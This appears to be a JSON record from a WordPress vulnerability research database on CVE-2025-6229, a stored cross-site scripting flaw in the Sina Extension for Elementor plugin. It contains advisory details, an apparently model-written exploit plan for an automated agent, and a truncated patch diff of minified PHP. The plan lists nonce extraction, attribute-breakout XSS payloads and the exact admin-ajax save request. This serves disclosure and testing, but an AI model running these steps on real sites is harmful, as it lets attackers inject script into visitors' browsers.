[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fhY7Dx3RBHumgSJgkjedP4jYUm_6_VGrmpw01IO-jIAo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2025-6229","sina-extension-for-elementor-slider-gallery-form-modal-data-table-tab-particle-free-elementor-widgets-elementor-template-5","Sina Extension for Elementor (Slider, Gallery, Form, Modal, Data Table, Tab, Particle, Free Elementor Widgets & Elementor Templates) \u003C= 3.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via `Fancy Text Widget` And `Countdown Widget`","The Sina Extension for Elementor (Header Builder, Footer Builter, Theme Builder, Slider, Gallery, Form, Modal, Data Table Free Elementor Widgets & Elementor Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `Fancy Text Widget` And `Countdown Widget` DOM attributes in all versions up to, and including, 3.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","sina-extension-for-elementor",null,"\u003C=3.7.0","3.7.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-22 18:10:01","2026-03-23 06:41:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F78b444a2-e5d7-4c3a-86a4-c215c54687a2?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fassets\u002Fcss\u002Ficofont.css","admin\u002Fassets\u002Fcss\u002Fsina-admin.css","admin\u002Fassets\u002Fjs\u002Fsina-admin.js","admin\u002Fassets\u002Fjs\u002Fsina-templates-lib.js","admin\u002Fsina-ext-templates-readable.php","admin\u002Fsina-ext-templates.php","admin\u002Fsina-ext-theme-builder-readable.php","admin\u002Fsina-ext-theme-builder.php","researched",false,3,"# Vulnerability Research Plan - CVE-2025-6229\n\n## 1. Vulnerability Summary\nThe **Sina Extension for Elementor** plugin (up to v3.7.0) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with **Contributor-level permissions** or higher can inject malicious JavaScript into pages via \"DOM attributes\" in the **Fancy Text** and **Countdown** widgets. This occurs because the plugin fails to properly sanitize or escape user-supplied settings before rendering them as attributes in the widget's HTML wrapper or sub-elements.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php` via the `elementor_ajax` action or the standard WordPress Post REST API (if Elementor is configured to allow it).\n- **Vulnerable Widgets:** `sina-fancytext` (Fancy Text) and `sina-countdown` (Countdown).\n- **Vulnerable Parameters:** Settings rendered as DOM attributes (e.g., custom IDs, classes, or specific widget configuration fields like `due_date` or `strings`).\n- **Authentication Level:** Contributor+ (any role allowed to use the Elementor Editor).\n- **Preconditions:** Elementor must be active, and the user must have permission to edit a post\u002Fpage using Elementor.\n\n## 3. Code Flow (Inferred)\n1. **Input:** A Contributor user edits a post using the Elementor Editor and adds a Sina Extension widget.\n2. **Storage:** The widget settings are sent to the server via the `elementor_ajax` action (action: `editor_post_save`). The payload is stored in the `_elementor_data` post meta as a JSON-encoded string.\n3. **Rendering:** When a user (e.g., an Admin or visitor) views the post:\n   - Elementor calls the `render()` method of the Sina Extension widget class.\n   - The plugin retrieves the settings from the post meta.\n   - The plugin generates HTML, injecting settings into DOM attributes (e.g., `\u003Cdiv class=\"sina-fancy-text-wrapper\" data-settings=\"...\">`).\n4. **Sink:** The plugin likely uses a pattern similar to:\n   `echo '\u003Cdiv ' . $this->get_render_attribute_string( 'wrapper' ) . '>';`\n   If the settings passed to `add_render_attribute` were not sanitized, or if the plugin manually echoes attributes without `esc_attr()`, the XSS payload is executed in the browser.\n\n## 4. Nonce Acquisition Strategy\nElementor's AJAX operations require a specific nonce. The execution agent should follow this strategy:\n1. **Create a Test Post:** Use WP-CLI to create a page and enable Elementor.\n   ```bash\n   wp post create --post_type=page --post_title=\"XSS Test\" --post_status=publish --post_author=[CONTRIBUTOR_ID]\n   ```\n2. **Access Editor:** Navigate to the Elementor Editor URL for that post:\n   `wp-admin\u002Fpost.php?post=[POST_ID]&action=elementor`\n3. **Extract Nonce:** Use `browser_eval` to extract the Elementor AJAX nonce from the JavaScript configuration object.\n   - **Variable:** `window.elementorCommon?.config?.ajax?.nonce`\n   - **Alternative:** `window.elementorConfig?.nonces?.save_post`\n\n## 5. Exploitation Strategy\nThe exploit will involve manually saving a malicious Elementor JSON payload to a post.\n\n### Step 1: Data Preparation\nIdentify the JSON structure for the `sina-fancytext` widget. A typical payload for `_elementor_data` looks like this:\n```json\n[\n  {\n    \"id\": \"67890\",\n    \"elType\": \"widget\",\n    \"settings\": {\n      \"fancytext_prefix\": \"Test\",\n      \"fancytext_strings\": \"String1\",\n      \"fancytext_suffix\": \"\\\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\",\n      \"_id\": \"exploit-id\\\" onmouseover=\\\"alert(1)\\\" data-x=\\\"\"\n    },\n    \"elements\": [],\n    \"widgetType\": \"sina-fancytext\"\n  }\n]\n```\n\n### Step 2: HTTP Request\nUse `http_request` to send the save action to Elementor.\n\n- **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```\n  action=elementor_ajax\n  &_nonce=[EXTRACTED_NONCE]\n  &actions={\"editor_post_save\":{\"action\":\"editor_post_save\",\"data\":{\"status\":\"publish\",\"elements\":[MALICIOUS_JSON_ARRAY]}}}\n  &editor_post_id=[POST_ID]\n  ```\n\n### Step 3: Triggering\nNavigate to the public URL of the page created in Step 1.\n\n## 6. Test Data Setup\n1. **User:** A user with the `contributor` role.\n2. **Post:** A page or post where `_elementor_edit_mode` is set to `active`.\n3. **Plugin Config:** Ensure the \"Fancy Text\" and \"Countdown\" widgets are enabled in the Sina Extension settings (usually in `wp-admin\u002Fadmin.php?page=sina-extension-for-elementor`).\n\n## 7. Expected Results\n- The HTTP response from `admin-ajax.php` should return `{\"success\":true,...}`.\n- When viewing the page, the HTML source should contain the unescaped payload:\n  `class=\"...\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"`\n  OR\n  `id=\"exploit-id\" onmouseover=\"alert(1)\" ...\"`\n- A JavaScript alert should trigger in the browser context.\n\n## 8. Verification Steps\n1. **Check Database:** Use WP-CLI to verify the payload is stored in post meta.\n   ```bash\n   wp post meta get [POST_ID] _elementor_data\n   ```\n2. **Verify Output:** Use `http_request` to fetch the frontend page and grep for the payload.\n   ```bash\n   # Check for the broken-out attribute\n   grep \"onmouseover=\\\"alert(1)\\\"\"\n   ```\n\n## 9. Alternative Approaches\nIf the `elementor_ajax` action is restricted:\n- **Direct REST API:** Try updating the post via `wp-json\u002Fwp\u002Fv2\u002Fpages\u002F[ID]` if the Contributor has REST API permissions.\n- **Classic Editor:** If the plugin supports Shortcodes as well (many Elementor widget libraries do), try injecting the payload via a shortcode like `[sina_fancy_text suffix='\">\u003Cscript>alert(1)\u003C\u002Fscript>']` in the standard WordPress editor.\n- **Other Attributes:** Try common Sina settings like `sina_fancytext_strings`, `countdown_label_days`, or the \"Advanced\" tab's \"Custom ID\" (`_elementor_css_id`) and \"Custom Classes\" (`_elementor_extra_css_classes`) if they are handled by the Sina render logic.","The Sina Extension for Elementor plugin (\u003C= 3.7.0) is vulnerable to stored cross-site scripting via the 'Fancy Text' and 'Countdown' widgets. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into widget settings, which the plugin fails to sanitize or escape before rendering as DOM attributes on the front end.","Only in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fassets\u002Fcss: icofont.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fassets\u002Fcss: sina-admin.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fassets\u002Fjs: sina-admin.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fassets\u002Fjs: sina-templates-lib.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fsina-ext-templates.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fadmin\u002Fsina-ext-templates.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fsina-ext-templates.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fadmin\u002Fsina-ext-templates.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -1,4 +1,4 @@\n-\u003C?php namespace Sina_Extension;use \\Elementor\\Plugin;use \\Elementor\\TemplateLibrary\\Source_Base;use \\Elementor\\TemplateLibrary\\Source_Local;use \\Elementor\\Core\\Common\\Modules\\Ajax\\Module as Ajax;use \\Elementor\\User;class Sina_Ext_Templates_Library{public static function init(){if(!empty(get_option('sina_templates_option'))){add_action('elementor\u002Finit',[__CLASS__,'register_source']);add_action('elementor\u002Feditor\u002Fafter_enqueue_scripts',[__CLASS__,'enqueue_editor_scripts']);add_action('elementor\u002Fajax\u002Fregister_actions',[__CLASS__,'register_ajax_actions']);add_action('elementor\u002Feditor\u002Ffooter',[__CLASS__,'render_template']);}}public static function logo(){return defined('SINA_EXT_PRO_URL')?SINA_EXT_PRO_URL.'assets\u002Fimg\u002Flogo.png':SINA_EXT_URL.'admin\u002Fassets\u002Fimg\u002Flogo.png';}public static function register_source(){Plugin::$instance->templates_manager->register_source(__NAMESPACE__.'\\Sina_Ext_Templates_Source');}public static function enqueue_editor_scripts(){wp_enqueue_script('sina-templates-lib',SINA_EXT_URL.'admin\u002Fassets\u002Fjs\u002Fsina-templates-lib.js',['jquery','backbone-marionette','backbone-radio','elementor-common-modules','elementor-dialog',],SINA_EXT_VERSION,true);wp_localize_script('sina-templates-lib','sina_ext_templates_lib',array('logoUrl'=>self::logo(),));}public static function register_ajax_actions(Ajax $ajax){$library_ajax_requests=['sina_get_library_data',];foreach($library_ajax_requests as $ajax_request){$ajax->register_ajax_action($ajax_request,function($data)use($ajax_request){return self::handle_ajax_request($ajax_request,$data);});}}private static function handle_ajax_request($ajax_request,array $data){if(!User::is_current_user_can_edit_post_type(Source_Local::CPT)){throw new \\Exception('Access Denied');}if(!empty($data['editor_post_id'])){$editor_post_id=absint($data['editor_post_id']);if(!get_post($editor_post_id)){throw new \\Exception(__('Post not found.','sina-ext'));}Plugin::$instance->db->switch_to_post($editor_post_id);}$result=call_user_func([__CLASS__,$ajax_request],$data);if(is_wp_error($result)){throw new \\Exception($result->get_error_message());}return $result;}public static function sina_get_library_data(array $args){$library_data=self::get_library_data(!empty($args['sync']));Plugin::$instance->documents->get_document_types();return['templates'=>self::get_templates(),'config'=>$library_data['types_data'],];}public static function get_library_data($force_update=false){return self::get_templates_data($force_update);}private static function get_templates_data($force_update=false){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=self::$api_info_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key.'&version='.SINA_EXT_VERSION;$response=wp_remote_get($url,['timeout'=>60]);$info_data=json_decode(wp_remote_retrieve_body($response),true);$templates=[];if(isset($info_data['library']['templates'])&&!empty($info_data['library']['templates'])){$templates=$info_data['library'];}return $templates;}public static function get_templates(){$source=Plugin::$instance->templates_manager->get_source('sina_ext');return $source->get_items();}public static function ajax_reset_api_data(){check_ajax_referer('elementor_reset_library','_nonce');self::get_templates_data(true);wp_send_json_success();}public static function get_template_content($template_id){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=sprintf(self::$api_get_template_content_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key,$template_id);$response=wp_remote_get($url,['timeout'=>60]);$data=json_decode(wp_remote_retrieve_body($response),true);$response_code=(int) wp_remote_retrieve_response_code($response);if(!$response_code){return new \\WP_Error(500,'No Response');}if(false===$data){return new \\WP_Error(422,'Wrong Server Response');}return $data;}public static function render_template(){ ?>\r\n+\u003C?php namespace Sina_Extension;use \\Elementor\\Plugin;use \\Elementor\\TemplateLibrary\\Source_Base;use \\Elementor\\TemplateLibrary\\Source_Local;use \\Elementor\\Core\\Common\\Modules\\Ajax\\Module as Ajax;use \\Elementor\\User;class Sina_Ext_Templates_Library{public static function init(){if(!empty(get_option('sina_templates_option'))){add_action('elementor\u002Finit',[__CLASS__,'register_source']);add_action('elementor\u002Feditor\u002Fafter_enqueue_scripts',[__CLASS__,'enqueue_editor_scripts']);add_action('elementor\u002Fajax\u002Fregister_actions',[__CLASS__,'register_ajax_actions']);add_action('elementor\u002Feditor\u002Ffooter',[__CLASS__,'render_template']);}}public static function logo(){return defined('SINA_EXT_PRO_URL')?SINA_EXT_PRO_URL.'assets\u002Fimg\u002Flogo.png':SINA_EXT_URL.'admin\u002Fassets\u002Fimg\u002Flogo.png';}public static function register_source(){Plugin::$instance->templates_manager->register_source(__NAMESPACE__.'\\Sina_Ext_Templates_Source');}public static function enqueue_editor_scripts(){wp_enqueue_script('sina-templates-lib',SINA_EXT_URL.'admin\u002Fassets\u002Fjs\u002Fsina-templates-lib.min.js',['jquery','backbone-marionette','backbone-radio','elementor-common-modules','elementor-dialog',],SINA_EXT_VERSION,true);wp_localize_script('sina-templates-lib','sina_ext_templates_lib',array('logoUrl'=>self::logo(),));}public static function register_ajax_actions(Ajax $ajax){$library_ajax_requests=['sina_get_library_data',];foreach($library_ajax_requests as $ajax_request){$ajax->register_ajax_action($ajax_request,function($data)use($ajax_request){return self::handle_ajax_request($ajax_request,$data);});}}private static function handle_ajax_request($ajax_request,array $data){if(!User::is_current_user_can_edit_post_type(Source_Local::CPT)){throw new \\Exception('Access Denied');}if(!empty($data['editor_post_id'])){$editor_post_id=absint($data['editor_post_id']);if(!get_post($editor_post_id)){throw new \\Exception(__('Post not found.','sina-ext'));}Plugin::$instance->db->switch_to_post($editor_post_id);}$result=call_user_func([__CLASS__,$ajax_request],$data);if(is_wp_error($result)){throw new \\Exception($result->get_error_message());}return $result;}public static function sina_get_library_data(array $args){$library_data=self::get_library_data(!empty($args['sync']));Plugin::$instance->documents->get_document_types();return['templates'=>self::get_templates(),'config'=>$library_data['types_data'],];}public static function get_library_data($force_update=false){return self::get_templates_data($force_update);}private static function get_templates_data($force_update=false){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=self::$api_info_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key.'&version='.SINA_EXT_VERSION;$response=wp_remote_get($url,['timeout'=>60]);$info_data=json_decode(wp_remote_retrieve_body($response),true);$templates=[];if(isset($info_data['library']['templates'])&&!empty($info_data['library']['templates'])){$templates=$info_data['library'];}return $templates;}public static function get_templates(){$source=Plugin::$instance->templates_manager->get_source('sina_ext');return $source->get_items();}public static function ajax_reset_api_data(){check_ajax_referer('elementor_reset_library','_nonce');self::get_templates_data(true);wp_send_json_success();}public static function get_template_content($template_id){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=sprintf(self::$api_get_template_content_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key,$template_id);$response=wp_remote_get($url,['timeout'=>60]);$data=json_decode(wp_remote_retrieve_body($response),true);$response_code=(int) wp_remote_retrieve_response_code($response);if(!$response_code){return new \\WP_Error(500,'No Response');}if(false===$data){return new \\WP_Error(422,'Wrong Server Response');}return $data;}public static function render_template(){ ?>\r\n \t\t\u003Cscript type=\"text\u002Ftemplate\" id=\"tmpl-elementor-template-library-header-actions-sina-ext\">\r\n \t\t\t\u003Cdiv id=\"elementor-template-library-header-sync\" class=\"elementor-templates-modal__header__item\">\r\n \t\t\t\t\u003Ci class=\"eicon-sync\" aria-hidden=\"true\" title=\"\u003C?php echo esc_attr__('Sync Templates','sina-ext'); ?>\">\u003C\u002Fi>\r\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin: sina-ext-templates-readable.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fsina-ext-theme-builder.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fadmin\u002Fsina-ext-theme-builder.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin\u002Fsina-ext-theme-builder.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fadmin\u002Fsina-ext-theme-builder.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -1,4 +1,4 @@\n-\u003C?php namespace Sina_Extension;if(!defined('ABSPATH')){exit();}use \\Elementor\\Plugin;class Sina_Ext_Theme_Builder{const POST_TYPE='sina-ext-template';const POST_TYPE_META='sina-ext-template-meta';private static $_instance=null;public static function instance(){if(is_null(self::$_instance)){self::$_instance=new self();}return self::$_instance;}public function __construct(){add_action('admin_enqueue_scripts',[$this,'enqueue_scripts']);add_action('init',[$this,'register_theme_builder_post_type']);add_action('manage_'.self::POST_TYPE.'_posts_columns',[$this,'manage_columns']);add_action('manage_'.self::POST_TYPE.'_posts_custom_column',[$this,'columns_content'],10,2);add_action('wp_ajax_sina_ext_save_template',[$this,'save_template']);add_action('wp_ajax_sina_ext_get_template',[$this,'get_template_by_id']);add_action('wp_ajax_sina_ext_get_posts_by_query',[$this,'get_posts_by_query']);add_action('admin_footer',[$this,'print_popup']);add_action('get_header',[$this,'override_default_header']);add_action('get_footer',[$this,'override_default_footer']);add_action('sina_ext_header_builder_content',[$this,'header_builder_content']);add_action('sina_ext_footer_builder_content',[$this,'footer_builder_content']);add_action('sina_ext_archive_builder_content',[$this,'archive_page_builder_content']);add_action('sina_ext_single_builder_content',[$this,'single_page_builder_content']);add_action('sina_ext_others_builder_content',[$this,'others_page_builder_content']);add_filter('parse_query',[$this,'query_filter']);add_filter('views_edit-'.self::POST_TYPE,[$this,'print_tabs']);add_filter('template_include',[$this,'template_loader']);add_filter('body_class',[$this,'body_classes']);}public function enqueue_scripts($hook){if(isset($_GET['post_type'])&&$_GET['post_type']==self::POST_TYPE){wp_enqueue_style('select2',SINA_EXT_URL.'admin\u002Fassets\u002Fcss\u002Fselect2.min.css');wp_enqueue_style('sina-ext-theme-builder',SINA_EXT_URL.'admin\u002Fassets\u002Fcss\u002Fsina-admin-theme-builder.min.css');wp_enqueue_script('select2',SINA_EXT_URL.'admin\u002Fassets\u002Fjs\u002Fselect2.min.js',['jquery'],SINA_EXT_VERSION,true);wp_enqueue_script('sina-ext-theme-builder',SINA_EXT_URL.'admin\u002Fassets\u002Fjs\u002Fsina-admin-theme-builder.js',['jquery','wp-util'],SINA_EXT_VERSION,true);$localize_data=['ajaxurl'=>admin_url('admin-ajax.php'),'nonce'=>wp_create_nonce('sina_ext_tmp_nonce'),'adminURL'=>admin_url(),'hflocation'=>self::get_hf_select(),'archivelocation'=>self::get_archive_select(),'singlelocation'=>self::get_single_select(),'otherslocation'=>self::get_others_select(),'templatetype'=>self::get_template_type(),'labels'=>['fields'=>['name'=>['title'=>esc_html__('Name','sina-ext'),'placeholder'=>esc_html__('Enter a template name','sina-ext')],'type'=>esc_html__('Type','sina-ext'),'display'=>esc_html__('Display','sina-ext'),],'head'=>esc_html__('Template Settings','sina-ext'),'buttons'=>['elementor'=>['label'=>esc_html__('Edit With Elementor','sina-ext'),'link'=>'#'],'save'=>['label'=>esc_html__('Save Settings','sina-ext'),'saving'=>esc_html__('Saving...','sina-ext'),'saved'=>esc_html__('All Data Saved','sina-ext'),'link'=>'#']],]];wp_localize_script('sina-ext-theme-builder','Sina_Ext_Theme_Builder',$localize_data);}}public static function get_hf_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'blog'=>esc_html__('Blog \u002F Posts Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),];if(class_exists('WooCommerce')){$special_pages['woo-shop']=esc_html__('WooCommerce Shop Page','sina-ext');}$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'global'=>esc_html__('Entire Website','sina-ext'),'singulars'=>esc_html__('All Singulars','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){if('sina-ext-template'===$post_type->name){continue;}if('page'===$post_type->name){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>['all-'.$post_type->name=>esc_html('All '.$post_type->label),],];}else{$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),$post_type->name.'-singulars'=>esc_html($post_type->label.' Singulars'),],];}}$selection_options['specific-target']=['label'=>esc_html__('Specific Target','sina-ext'),'value'=>['specifics'=>esc_html__('Specific Pages \u002F Posts.','sina-ext'),],];return apply_filters('sina_ext_display_hf_list',$selection_options);}public static function get_archive_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['post']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$special_pages=['blog'=>esc_html__('Blog \u002F Posts Page','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),],];}return apply_filters('sina_ext_display_archive_list',$selection_options);}public static function get_single_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'singulars'=>esc_html__('All Singular','sina-ext'),],],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-singulars'=>esc_html($post_type->label.' Singular'),],];}return apply_filters('sina_ext_display_single_list',$selection_options);}public static function get_others_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];return apply_filters('sina_ext_display_others_list',$selection_options);}public static function get_template_type(){$template_type=['header'=>['label'=>esc_html__('Header','sina-ext'),'optionkey'=>'header'],'footer'=>['label'=>esc_html__('Footer','sina-ext'),'optionkey'=>'footer'],'archive'=>['label'=>esc_html__('Archive','sina-ext'),'optionkey'=>'archivepage'],'single'=>['label'=>esc_html__('Single','sina-ext'),'optionkey'=>'singlepage'],'others'=>['label'=>esc_html__('Others','sina-ext'),'optionkey'=>'otherpage'],];return apply_filters('sina_ext_builder_template_types',$template_type);}public function register_theme_builder_post_type(){$labels=['name'=>esc_html_x('Sina Theme Builder','Post Type General Name','sina-ext'),'singular_name'=>esc_html_x('Sina Theme Builder','Post Type Singular Name','sina-ext'),'menu_name'=>esc_html__('Sina Theme Builder','sina-ext'),'name_admin_bar'=>esc_html__('Sina Theme Builder','sina-ext'),'archives'=>esc_html__('Template Archives','sina-ext'),'attributes'=>esc_html__('Template Attributes','sina-ext'),'parent_item_colon'=>esc_html__('Parent Item:','sina-ext'),'all_items'=>esc_html__('Templates','sina-ext'),'add_new_item'=>esc_html__('Add New Template','sina-ext'),'add_new'=>esc_html__('Add New','sina-ext'),'new_item'=>esc_html__('New Template','sina-ext'),'edit_item'=>esc_html__('Edit Template','sina-ext'),'update_item'=>esc_html__('Update Template','sina-ext'),'view_item'=>esc_html__('View Template','sina-ext'),'view_items'=>esc_html__('View Templates','sina-ext'),'search_items'=>esc_html__('Search Templates','sina-ext'),'not_found'=>esc_html__('Not found','sina-ext'),'not_found_in_trash'=>esc_html__('Not found in Trash','sina-ext'),'featured_image'=>esc_html__('Featured Image','sina-ext'),'set_featured_image'=>esc_html__('Set featured image','sina-ext'),'remove_featured_image'=>esc_html__('Remove featured image','sina-ext'),'use_featured_image'=>esc_html__('Use as featured image','sina-ext'),'insert_into_item'=>esc_html__('Insert into Template','sina-ext'),'uploaded_to_this_item'=>esc_html__('Uploaded to this Template','sina-ext'),'items_list'=>esc_html__('Templates list','sina-ext'),'items_list_navigation'=>esc_html__('Templates list navigation','sina-ext'),'filter_items_list'=>esc_html__('Filter from list','sina-ext'),];$args=['label'=>esc_html__('Theme Builder','sina-ext'),'description'=>esc_html__('Sina Extension Theme Builder','sina-ext'),'labels'=>$labels,'supports'=>['title','elementor','thumbnail'],'hierarchical'=>false,'public'=>true,'show_ui'=>true,'show_in_menu'=>false,'show_in_admin_bar'=>false,'show_in_nav_menus'=>true,'can_export'=>true,'has_archive'=>false,'rewrite'=>['slug'=>'sina-ext-template','pages'=>false,'with_front'=>true,'feeds'=>false,],'query_var'=>true,'exclude_from_search'=>true,'publicly_queryable'=>true,'capability_type'=>'page','show_in_rest'=>true,'rest_base'=>self::POST_TYPE,];register_post_type(self::POST_TYPE,$args);$this->get_active();flush_rewrite_rules();}public function manage_columns($columns){$column_date=$columns['date'];unset($columns['date']);$columns['type']=esc_html__('Type','sina-ext');$columns['status']=esc_html__('Display','sina-ext');$columns['date']=esc_html($column_date);return $columns;}public function columns_content($column_name,$post_id){$type=get_post_meta($post_id,self::POST_TYPE_META.'_type',true);if(!array_key_exists($type,self::get_template_type())){return;}if($column_name==='type'){echo isset(self::get_template_type()[$type])?'\u003Cdiv class=\"column-type\">'.self::get_template_type()[$type]['label'].'\u003C\u002Fdiv>':'-';}if($column_name==='status'){$display=get_post_meta($post_id,self::POST_TYPE_META.'_location',true); ?>\r\n+\u003C?php namespace Sina_Extension;if(!defined('ABSPATH')){exit();}use \\Elementor\\Plugin;class Sina_Ext_Theme_Builder{const POST_TYPE='sina-ext-template';const POST_TYPE_META='sina-ext-template-meta';private static $_instance=null;public static function instance(){if(is_null(self::$_instance)){self::$_instance=new self();}return self::$_instance;}public function 